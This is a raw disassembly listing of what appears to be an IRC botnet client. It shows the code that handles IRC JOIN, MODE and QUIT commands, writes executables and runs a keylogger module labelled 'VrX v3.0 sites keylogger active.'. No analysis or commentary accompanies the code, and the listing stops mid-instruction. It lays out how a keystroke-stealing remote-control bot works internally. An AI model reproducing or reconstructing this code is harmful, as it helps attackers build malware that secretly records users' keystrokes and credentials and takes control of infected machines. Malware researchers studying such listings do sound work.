sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4084F0 lea eax, [ebp+var_4BF8] push eax push 104h call near ptr 26B0000h nop push 0FFh lea eax, [ebp+var_25D4] push edi push eax call sub_41BFD0 lea eax, [ebp+var_17D4] push eax call sub_40AB77 add esp, 10h push eax lea eax, [ebp+var_4BF8] push eax lea eax, [ebp+var_24D4] push offset aSS_exe ; "%s%s.exe" push eax call sub_41C266 mov eax, [ebp+esi+var_84] add esp, 10h cmp eax, ebx mov [ebp+var_23D0], 1 mov [ebp+var_23CC], ebx jz short loc_40840E push 10h push ebx push eax call sub_41C7A5 add esp, 0Ch mov [ebp+var_23C4], eax jmp short loc_408414 ; --------------------------------------------------------------------------- loc_40840E: ; CODE XREF: sub_401ACD+692Bj mov [ebp+var_23C4], ebx loc_408414: ; CODE XREF: sub_401ACD+693Fj mov esi, [ebp+esi+var_80] cmp esi, ebx jz short loc_40842B push esi call sub_41C159 pop ecx mov [ebp+var_23C8], eax jmp short loc_408431 ; --------------------------------------------------------------------------- loc_40842B: ; CODE XREF: sub_401ACD+694Dj mov [ebp+var_23C8], ebx loc_408431: ; CODE XREF: sub_401ACD+695Cj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_23C0], eax lea eax, [ebp+var_2654] mov [ebp+var_2658], esi push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_23B8], eax mov eax, [ebp+var_8] mov [ebp+var_23BC], eax push edi lea eax, [ebp+var_2C4] push offset dword_42A4C4 push eax call sub_41C266 push esi lea eax, [ebp+var_2C4] push 1Eh push eax call sub_40B3BA add esp, 18h mov [ebp+var_23D4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2658] push ebx push eax push offset loc_4167A0 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_23D4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4084DF loc_4084C9: ; CODE XREF: sub_401ACD+6A10j cmp [ebp+var_23B4], ebx jnz loc_406BFE push 32h nop call near ptr 2680EBDh jmp short loc_4084C9 ; --------------------------------------------------------------------------- loc_4084DF: ; CODE XREF: sub_401ACD+69FAj call near ptr 26908B8h nop push eax push offset dword_42A488 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_4084F0: ; CODE XREF: sub_401ACD+68BDj push offset dword_42A440 loc_4084F5: ; CODE XREF: sub_401ACD+2E30j ; sub_401ACD+447Dj ... lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_406BFE ; --------------------------------------------------------------------------- loc_408508: ; CODE XREF: sub_401ACD+4975j ; sub_401ACD+498Cj push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx pop ecx push eax lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 push edi call sub_41C159 add esp, 28h test eax, eax jle short loc_408591 push edi call sub_41C159 imul eax, 3E8h pop ecx push eax call near ptr 2680EBDh nop loc_408591: ; CODE XREF: sub_401ACD+6AAEj push offset dword_42A41C call sub_415D38 mov eax, [ebp+arg_24] pop ecx inc eax jmp loc_401F78 ; --------------------------------------------------------------------------- loc_4085A5: ; CODE XREF: sub_401ACD+4947j ; sub_401ACD+495Ej push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax mov eax, [ebp+arg_18] inc eax push offset aRepeat ; "repeat" push eax call sub_41CA50 add esp, 10h test eax, eax push esi jz short loc_408664 push [ebp+var_88] lea eax, [ebp+var_2C4] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 add esp, 24h lea eax, [ebp+var_2C4] push esi push offset unk_42A404 push eax call sub_41C266 lea eax, [ebp+var_2C4] push eax call sub_415D38 push edi call sub_41C159 add esp, 14h test eax, eax jle loc_409644 push edi call sub_41C159 add eax, [ebp+arg_24] pop ecx jmp loc_401F78 ; --------------------------------------------------------------------------- loc_408664: ; CODE XREF: sub_401ACD+6B1Dj lea eax, [ebp+var_2C4] push offset unk_42A3D0 push eax call sub_41C266 add esp, 0Ch loc_408678: ; CODE XREF: sub_401ACD+74E3j cmp [ebp+var_8], ebx jnz short loc_408699 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_408699: ; CODE XREF: sub_401ACD+6BAEj ; sub_401ACD+71C7j ... lea eax, [ebp+var_2C4] push eax call sub_415D38 jmp loc_409643 ; --------------------------------------------------------------------------- loc_4086AA: ; CODE XREF: sub_401ACD+4919j ; sub_401ACD+4930j push 7Fh lea eax, [ebp+var_2218] push edi push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_2198] push [ebp+arg_18] push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_2118] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2094], eax mov eax, [ebp+var_8] mov [ebp+var_221C], esi push [ebp+arg_18] mov [ebp+var_2090], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A39C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Fh push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_2098], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_221C] push ebx push eax push offset byte_414F57 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_2098] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40876E loc_408758: ; CODE XREF: sub_401ACD+6C9Fj cmp [ebp+var_208C], ebx jnz loc_40885A push 32h nop call near ptr 2680EBDh jmp short loc_408758 ; --------------------------------------------------------------------------- loc_40876E: ; CODE XREF: sub_401ACD+6C89j call near ptr 26908B8h nop push eax push offset unk_42A360 jmp loc_40884B ; --------------------------------------------------------------------------- loc_40877F: ; CODE XREF: sub_401ACD+48EBj ; sub_401ACD+4902j push 7Fh lea eax, [ebp+var_23AC] push edi push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_232C] push [ebp+arg_18] push eax call sub_41BFD0 push 7Fh lea eax, [ebp+var_22AC] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] mov esi, [ebp+arg_4] add esp, 24h mov [ebp+var_2228], eax mov eax, [ebp+var_8] mov [ebp+var_23B0], esi push [ebp+arg_18] mov [ebp+var_2224], eax lea eax, [ebp+var_2C4] push edi push offset dword_42A334 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 11h push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_222C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_23B0] push ebx push eax push offset byte_414703 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_222C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_40883F loc_40882D: ; CODE XREF: sub_401ACD+6D70j cmp [ebp+var_2220], ebx jnz short loc_40885A push 32h call near ptr 2680EBDh nop jmp short loc_40882D ; --------------------------------------------------------------------------- loc_40883F: ; CODE XREF: sub_401ACD+6D5Ej call near ptr 26908B8h nop push eax push offset dword_42A2F8 loc_40884B: ; CODE XREF: sub_401ACD+6CADj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_40885A: ; CODE XREF: sub_401ACD+6C91j ; sub_401ACD+6D66j cmp [ebp+var_8], ebx jnz loc_403FBE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push esi jmp loc_403FB6 ; --------------------------------------------------------------------------- loc_40887A: ; CODE XREF: sub_401ACD+48BDj ; sub_401ACD+48D4j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42A2F0 push eax call sub_41C266 push edi call sub_41C159 add esp, 10h loc_408897: ; CODE XREF: sub_401ACD+6E31j test eax, eax jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 loc_4088B1: ; CODE XREF: sub_401ACD+789Bj lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_4088DA: ; CODE XREF: sub_401ACD+488Fj ; sub_401ACD+48A6j push [ebp+esi+var_84] lea eax, [ebp+var_2C4] push [ebp+arg_18] push offset dword_42A2DC push eax call sub_41C266 push edi call sub_41C159 add esp, 14h jmp short loc_408897 ; --------------------------------------------------------------------------- loc_408900: ; CODE XREF: sub_401ACD+4861j ; sub_401ACD+4878j push [ebp+arg_18] lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 push edi call sub_41C159 add esp, 10h test eax, eax jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push [ebp+arg_18] push edi push offset dword_42A2C0 loc_408967: ; CODE XREF: sub_401ACD+6F24j ; sub_401ACD+6F92j ... call sub_415DAC jmp loc_4048F0 ; --------------------------------------------------------------------------- loc_408971: ; CODE XREF: sub_401ACD+4833j ; sub_401ACD+484Aj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_4089A2 push esi lea eax, [ebp+var_2C4] push offset dword_42A2B8 push eax call sub_41C266 add esp, 0Ch loc_4089A2: ; CODE XREF: sub_401ACD+6EBEj push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 lea eax, [ebp+var_2C4] push eax push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A29C jmp loc_408967 ; --------------------------------------------------------------------------- loc_4089F6: ; CODE XREF: sub_401ACD+4805j ; sub_401ACD+481Cj cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push esi push offset dword_42A2E8 push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 add esp, 0Ch push esi push edi push offset dword_42A280 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408A64: ; CODE XREF: sub_401ACD+47D7j ; sub_401ACD+47EEj cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push esi push offset aModeS ; "MODE %s\r\n" push [ebp+arg_4] call sub_409823 add esp, 0Ch push esi push offset unk_42A258 jmp loc_40963D ; --------------------------------------------------------------------------- loc_408A9E: ; CODE XREF: sub_401ACD+47A9j ; sub_401ACD+47C0j push [ebp+var_8C] push offset dword_42CCC8 call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_401F75 push [ebp+arg_18] push offset dword_42A24C push [ebp+arg_4] call sub_409823 push edi call sub_41C159 imul eax, 3E8h add esp, 10h push eax nop call near ptr 2680EBDh push [ebp+esi+var_84] push [ebp+arg_18] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409823 push offset dword_42A238 call sub_415D38 jmp loc_4034BF ; --------------------------------------------------------------------------- loc_408B04: ; CODE XREF: sub_401ACD+477Bj ; sub_401ACD+4792j cmp [ebp+var_C], ebx jz loc_409644 push edi call sub_41B9C0 push [ebp+arg_8] mov esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push esi lea eax, [ebp+var_2C4] push offset dword_42A968 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push ebx push eax push edi push [ebp+arg_4] call sub_409869 add esp, 20h push esi push edi push offset unk_42A21C jmp loc_408967 ; --------------------------------------------------------------------------- loc_408B6D: ; CODE XREF: sub_401ACD+474Dj ; sub_401ACD+4764j cmp [ebp+var_C], ebx jz loc_409644 push edi call sub_41B9C0 push [ebp+arg_8] mov esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_18] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 10h cmp esi, ebx jz loc_409644 push ebx push ebx push esi push edi push [ebp+arg_4] call sub_409869 add esp, 14h push esi push edi push offset unk_42A200 jmp loc_408967 ; --------------------------------------------------------------------------- loc_408BBE: ; CODE XREF: sub_401ACD+471Fj ; sub_401ACD+4736j cmp [ebp+var_C], ebx jz loc_401F75 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_401F75 push eax push edi call sub_415C40 pop ecx pop ecx push edi push offset unk_42A1E4 jmp loc_40723F ; --------------------------------------------------------------------------- loc_408BF0: ; CODE XREF: sub_401ACD+46F1j ; sub_401ACD+4708j push [ebp+arg_18] push edi push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_418A2E loc_408C05: ; CODE XREF: sub_401ACD+25ECj add esp, 14h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408C0D: ; CODE XREF: sub_401ACD+46B1j ; sub_401ACD+46C8j push edi push [ebp+arg_1C] call sub_41C2E0 pop ecx test eax, eax pop ecx jz loc_409644 mov esi, [ebp+esi+var_88] cmp esi, ebx jz loc_408CB1 push esi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408C99 push esi lea eax, [ebp+var_2C4] push [ebp+var_88] push [ebp+var_8C] push [ebp+var_90] push offset dword_42A430 push eax call sub_41C266 lea eax, [ebp+var_2C4] push 1FFh push eax push [ebp+arg_0] call sub_41BFD0 add esp, 24h lea eax, [ebp+var_2C4] push esi push edi push offset unk_42A1C0 push eax call sub_41C266 add esp, 10h inc [ebp+arg_24] jmp loc_408699 ; --------------------------------------------------------------------------- loc_408C99: ; CODE XREF: sub_401ACD+7171j lea eax, [ebp+var_2C4] push offset unk_42A190 push eax call sub_41C266 pop ecx pop ecx jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CB1: ; CODE XREF: sub_401ACD+715Cj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41B243 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h lea eax, [ebp+var_2C4] push edi push offset unk_42A178 push 200h push eax call sub_41C360 add esp, 10h jmp loc_408699 ; --------------------------------------------------------------------------- loc_408CFB: ; CODE XREF: sub_401ACD+4434j ; sub_401ACD+444Bj push edi push 23h push offset aKeylog_0 ; "Keylog" push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." loc_408D08: ; CODE XREF: sub_401ACD+103Cj ; sub_401ACD+108Fj ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B648 add esp, 20h jmp loc_401F75 ; --------------------------------------------------------------------------- loc_408D24: ; CODE XREF: sub_401ACD+4406j ; sub_401ACD+441Dj push 23h call sub_40B602 test eax, eax pop ecx jle short loc_408D3A push offset aKeylogerAlread ; "Keyloger Already running." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408D3A: ; CODE XREF: sub_401ACD+7261j mov eax, [ebp+arg_4] push edi mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] push offset aWeb ; "web" mov [ebp+var_A08], eax mov [ebp+var_A10], ebx call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408DB9 mov esi, [ebp+esi+var_88] mov [ebp+var_A10], 1 cmp esi, ebx jnz short loc_408D9D mov esi, offset aF_0 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408D9D mov esi, [ebp+var_88] loc_408D9D: ; CODE XREF: sub_401ACD+72B2j ; sub_401ACD+72C8j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C360 add esp, 0Ch push offset aVrxV3_0SitesKe ; "VrX v3.0 sites keylogger active." jmp short loc_408E0F ; --------------------------------------------------------------------------- loc_408DB9: ; CODE XREF: sub_401ACD+729Dj push edi push offset aNormal_0 ; "normal" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_408E97 mov esi, [ebp+esi+var_88] cmp esi, ebx jnz short loc_408DF5 mov esi, offset aF_0 ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_408DF5 mov esi, [ebp+var_88] loc_408DF5: ; CODE XREF: sub_401ACD+730Aj ; sub_401ACD+7320j push esi lea eax, [ebp+var_A90] push 80h push eax call sub_41C360 add esp, 0Ch push offset aNormalKeyLogge ; "Normal key logger active." loc_408E0F: ; CODE XREF: sub_401ACD+72EAj lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx lea eax, [ebp+var_2C4] pop ecx push ebx push 23h push eax call sub_40B3BA add esp, 0Ch mov [ebp+var_A94], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset byte_4126A7 push ebx push ebx call near ptr 2690000h nop mov ecx, [ebp+var_A94] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408E7A loc_408E64: ; CODE XREF: sub_401ACD+73ABj cmp [ebp+var_A04], ebx jnz loc_4081AD push 32h nop call near ptr 2680EBDh jmp short loc_408E64 ; --------------------------------------------------------------------------- loc_408E7A: ; CODE XREF: sub_401ACD+7395j nop call near ptr 26908B8h push eax push offset aFailedToStartL ; "Failed to start logging thread, error: "... loc_408E86: ; CODE XREF: sub_401ACD+20F8j ; sub_401ACD+2E94j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 jmp loc_4081AA ; --------------------------------------------------------------------------- loc_408E97: ; CODE XREF: sub_401ACD+72FBj push offset aUnknowModeType ; "Unknow mode type." jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408EA1: ; CODE XREF: sub_401ACD+4065j ; sub_401ACD+407Cj push offset aR ; "r" push edi call sub_41BEA2 mov esi, eax pop ecx cmp esi, ebx pop ecx jz short loc_408F0D mov ebx, 200h push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C52F add esp, 0Ch loc_408ECA: ; CODE XREF: sub_401ACD+742Cj test eax, eax jz short loc_408EFB push 1 lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 push esi lea eax, [ebp+var_2C4] push ebx push eax call sub_41C52F add esp, 20h jmp short loc_408ECA ; --------------------------------------------------------------------------- loc_408EFB: ; CODE XREF: sub_401ACD+73FFj push esi call sub_41BA3B pop ecx push edi push offset unk_42A0A4 jmp loc_409091 ; --------------------------------------------------------------------------- loc_408F0D: ; CODE XREF: sub_401ACD+73E5j push edi push offset unk_42A084 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408F18: ; CODE XREF: sub_401ACD+4037j ; sub_401ACD+404Ej cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 mov esi, eax pop ecx cmp esi, ebx pop ecx jz loc_409644 push offset asc_42A080 ; "\n" push esi call sub_41C8A0 push esi call sub_419F9D add esp, 0Ch test eax, eax jnz short loc_408F55 push offset unk_42A054 jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F55: ; CODE XREF: sub_401ACD+747Fj push esi lea eax, [ebp+var_2C4] push offset dword_42A03C push eax call sub_41C266 add esp, 0Ch jmp loc_408699 ; --------------------------------------------------------------------------- loc_408F6F: ; CODE XREF: sub_401ACD+4009j ; sub_401ACD+4020j cmp [ebp+var_C], ebx jz loc_409644 push edi push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz loc_409644 push eax call sub_41875E test eax, eax pop ecx jnz short loc_408F9D push offset unk_42A01C jmp short loc_408FA2 ; --------------------------------------------------------------------------- loc_408F9D: ; CODE XREF: sub_401ACD+74C7j push offset dword_42A000 loc_408FA2: ; CODE XREF: sub_401ACD+7486j ; sub_401ACD+74CEj lea eax, [ebp+var_2C4] push eax call sub_41C266 pop ecx pop ecx jmp loc_408678 ; --------------------------------------------------------------------------- loc_408FB5: ; CODE XREF: sub_401ACD+3FDBj ; sub_401ACD+3FF2j push 7Fh lea eax, [ebp+var_2084] push edi push eax call sub_41BFD0 mov esi, [ebp+esi+var_88] add esp, 0Ch cmp esi, ebx jz short loc_408FE4 push 7Fh lea eax, [ebp+var_2004] push esi push eax call sub_41BFD0 add esp, 0Ch loc_408FE4: ; CODE XREF: sub_401ACD+7503j push 7Fh lea eax, [ebp+var_1F84] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_2088], eax mov eax, [ebp+var_8] mov [ebp+var_1F00], eax mov eax, [ebp+var_4] mov [ebp+var_1EFC], eax push edi lea eax, [ebp+var_2C4] push offset dword_429FE8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ch push eax call sub_40B3BA add esp, 18h mov [ebp+var_1F04], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2088] push ebx push eax push offset sub_41B302 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_1F04] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_409085 loc_40906F: ; CODE XREF: sub_401ACD+75B6j cmp [ebp+var_1EF8], ebx jnz loc_406C1F push 32h nop call near ptr 2680EBDh jmp short loc_40906F ; --------------------------------------------------------------------------- loc_409085: ; CODE XREF: sub_401ACD+75A0j nop call near ptr 26908B8h push eax push offset unk_429FA8 loc_409091: ; CODE XREF: sub_401ACD+298Bj ; sub_401ACD+743Bj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_406C1F ; --------------------------------------------------------------------------- loc_4090A5: ; CODE XREF: sub_401ACD+3FADj ; sub_401ACD+3FC4j push ebx push [ebp+var_88] push [ebp+arg_4] push edi call sub_41036B add esp, 10h push edi push offset dword_429F90 jmp loc_40963D ; --------------------------------------------------------------------------- loc_4090C3: ; CODE XREF: sub_401ACD+3F7Fj ; sub_401ACD+3F96j push 14h lea eax, [ebp+var_1D4C] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+var_1D38] push edi push offset aS_1 ; "%s" push eax call sub_41C266 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1D54], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_1C34] push 80h push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1BAC], eax mov eax, [ebp+var_8] mov [ebp+var_1BA8], eax lea eax, [ebp+var_1C34] push eax lea eax, [ebp+var_1D38] push eax lea eax, [ebp+var_2C4] push offset unk_429F6C push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_1BB0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1D54] push ebx push eax push offset loc_4161C1 push ebx push ebx nop call near ptr 2690000h mov ecx, [ebp+var_1BB0] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz loc_4023CA loc_40918A: ; CODE XREF: sub_401ACD+76D1j cmp [ebp+var_1BA4], ebx jnz loc_4082DE push 32h call near ptr 2680EBDh nop jmp short loc_40918A ; --------------------------------------------------------------------------- loc_4091A0: ; CODE XREF: sub_401ACD+3F51j ; sub_401ACD+3F68j push edi nop call near ptr 269021Ch test eax, eax jz short loc_4091C7 push edi push offset dword_429F50 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 jmp loc_40929A ; --------------------------------------------------------------------------- loc_4091C7: ; CODE XREF: sub_401ACD+76DCj push offset dword_42A5A8 call sub_418699 pop ecx push eax jmp loc_403EED ; --------------------------------------------------------------------------- loc_4091D8: ; CODE XREF: sub_401ACD+3F23j ; sub_401ACD+3F3Aj push edi call sub_41C159 push eax call sub_419F16 pop ecx pop ecx push 1 pop esi cmp eax, esi push edi jnz short loc_4091F5 push offset unk_429F2C jmp short loc_4091FA ; --------------------------------------------------------------------------- loc_4091F5: ; CODE XREF: sub_401ACD+771Fj push offset unk_429EFC loc_4091FA: ; CODE XREF: sub_401ACD+7726j lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz loc_406C22 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h jmp loc_406C22 ; --------------------------------------------------------------------------- loc_409233: ; CODE XREF: sub_401ACD+3EF5j ; sub_401ACD+3F0Cj push ebx push ebx push edi push [ebp+var_4] push ebx push [ebp+arg_4] call sub_419C09 add esp, 18h cmp eax, 1 push edi jnz short loc_409255 push offset unk_429EDC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409255: ; CODE XREF: sub_401ACD+777Cj push offset unk_429EAC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40925F: ; CODE XREF: sub_401ACD+3EC7j ; sub_401ACD+3EDEj push edi call dword_4CBA14 cmp eax, 0FFFFFFFFh mov [ebp+var_2D8], eax jz short loc_4092A2 push 2 lea eax, [ebp+var_2D8] push 4 push eax call dword_4CB98C cmp eax, ebx jz short loc_4092BD push dword ptr [eax] loc_409288: ; CODE XREF: sub_401ACD+77EEj push edi lea eax, [ebp+var_2C4] push offset unk_429E8C push eax call sub_41C266 loc_40929A: ; CODE XREF: sub_401ACD+76F5j add esp, 10h jmp loc_406BFE ; --------------------------------------------------------------------------- loc_4092A2: ; CODE XREF: sub_401ACD+77A2j push edi call dword_4CBA58 cmp eax, ebx jz short loc_4092BD mov eax, [eax+0Ch] mov eax, [eax] push dword ptr [eax] call dword_4CBA60 push eax jmp short loc_409288 ; --------------------------------------------------------------------------- loc_4092BD: ; CODE XREF: sub_401ACD+77B7j ; sub_401ACD+77DEj push offset unk_429E64 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_4092C7: ; CODE XREF: sub_401ACD+3E99j ; sub_401ACD+3EB0j push 7Fh push edi push [ebp+arg_14] call sub_41BFD0 add esp, 0Ch push edi push offset unk_429E40 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_4092E0: ; CODE XREF: sub_401ACD+3E6Bj ; sub_401ACD+3E82j push 5 push ebx push ebx push edi push offset aOpen ; "open" push ebx call dword_4CB940 test eax, eax push edi jz short loc_409300 push offset unk_429E20 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_409300: ; CODE XREF: sub_401ACD+7827j push offset unk_429DFC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_40930A: ; CODE XREF: sub_401ACD+3E3Dj ; sub_401ACD+3E54j mov al, [edi] mov byte_429094, al movsx eax, byte ptr [edi] push eax push offset unk_429DD8 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_40931F: ; CODE XREF: sub_401ACD+3E0Fj ; sub_401ACD+3E26j push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40AE84 add esp, 10h push eax lea eax, [ebp+var_2C4] push offset dword_42B894 push eax call sub_41C266 add esp, 0Ch jmp loc_4088B1 ; --------------------------------------------------------------------------- loc_40936D: ; CODE XREF: sub_401ACD+3DE1j ; sub_401ACD+3DF8j push edi call sub_41C159 test eax, eax pop ecx jle loc_401F75 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_401F75 push offset aQuitLater ; "QUIT :later\r\n" push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409823 pop ecx pop ecx push 1F4h call near ptr 2680EBDh nop push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call dword_4CBA6C push [ebp+var_10] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E924[eax] nop call near ptr 26A08EAh push edi call sub_41C159 imul eax, 234h push edi mov dword_43E924[eax], ebx call sub_41C159 imul eax, 234h pop ecx pop ecx mov byte ptr dword_43E710[eax], bl jmp loc_401F75 ; --------------------------------------------------------------------------- loc_409418: ; CODE XREF: sub_401ACD+3DB3j ; sub_401ACD+3DCAj push edi push offset aAll ; "all" call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_409447 call sub_40B583 cmp eax, ebx jle short loc_40943D push eax push offset unk_429DAC jmp loc_40723F ; --------------------------------------------------------------------------- loc_40943D: ; CODE XREF: sub_401ACD+7963j push offset unk_429D84 jmp loc_403F8F ; --------------------------------------------------------------------------- loc_409447: ; CODE XREF: sub_401ACD+795Aj mov eax, [ebp+var_AC] lea edi, [eax+1] cmp edi, 20h jnb loc_401F75 lea eax, [ebp+edi*4+var_90] mov [ebp+arg_24], eax loc_409463: ; CODE XREF: sub_401ACD+7A07j mov 